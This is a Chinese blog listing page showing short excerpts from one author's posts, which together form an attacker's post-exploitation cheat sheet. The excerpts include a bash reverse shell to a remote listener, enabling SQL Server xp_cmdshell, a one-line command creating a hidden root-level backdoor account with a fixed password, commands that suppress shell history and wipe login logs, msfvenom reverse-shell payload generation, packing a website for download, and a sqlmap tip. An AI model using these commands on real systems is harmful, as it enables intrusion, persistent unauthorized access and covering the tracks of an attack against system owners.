摘要: 1. /sbin/ifconfig 2. cat /proc/net/tvp 3. cat /proc/net/tcp6 4. cat /proc/net/arp 5. cat /etc/hosts 阅读全文
posted @ 2020-04-04 21:31 枯丿叶 阅读(248) 评论(0) 推荐(0)
摘要: 先在服务器监听:nc -lvvp 12345 然后在目标机器执行以下 liunx 客户端机器: bash -i >& /dev/tcp/ip/端口 0>&1 例: bash -i >& /dev/tcp/120.120.120.120/12345 0>&1 python: python -c 'im 阅读全文
posted @ 2020-02-28 18:29 枯丿叶 阅读(162) 评论(0) 推荐(0)
摘要: Sqlserver开启xp_cmdshell: EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; REC 阅读全文
posted @ 2020-02-28 18:21 枯丿叶 阅读(769) 评论(0) 推荐(0)
摘要: liunx一条命令添加用户: useradd -p `openssl passwd -1 -salt 'masters' 123456` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/masters masters 帐号:masters 密码:12 阅读全文
posted @ 2020-02-28 18:19 枯丿叶 阅读(325) 评论(0) 推荐(0)
摘要: 1.不记录命令历史 export HISTIGNORE=* 2.清楚历史记录 sudo echo > /var/log/wtmp echo > /var/log/btmp echo > /var/log/lastlog 阅读全文
posted @ 2020-02-28 18:16 枯丿叶 阅读(244) 评论(0) 推荐(0)
摘要: 一、payload 1.windwos msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe msfvenom -p 阅读全文
posted @ 2020-02-26 13:37 枯丿叶 阅读(1676) 评论(0) 推荐(0)
摘要: 如何在liunx下搭建ssh? 1.执行 wget --no-check-certificate https://raw.githubusercontent.com/teddysun/sha dowsocks_install/master/sha dowsocksR.sh 2.然后 chmod +x 阅读全文
posted @ 2020-02-26 12:54 枯丿叶 阅读(236) 评论(0) 推荐(0)
摘要: 如何快速的对网站进行打包,可以使用liunx自带的tar命令 tar -cvf /www/wwwroot/www.abc.com/ac.tar /www/wwwroot/www.abc.com/ --exclude *.log --exclude *.zip --exclude *.rar --ex 阅读全文
posted @ 2020-02-26 11:59 枯丿叶 阅读(218) 评论(0) 推荐(0)
摘要: sqlmap查询一个库一个表的数据 ,都会写在缓存里面,提高数据,且这个数据不断在变化, 再去查询的时候数据还是第一次查询的数据那样不变,这个时候我们可以用sqlmap自带的--fresh-queries参数, 使用这个参数sqlmap将不会从缓存里面加载,从而能注入到数据库最新数据。 阅读全文
posted @ 2020-02-26 11:49 枯丿叶 阅读(12732) 评论(0) 推荐(1)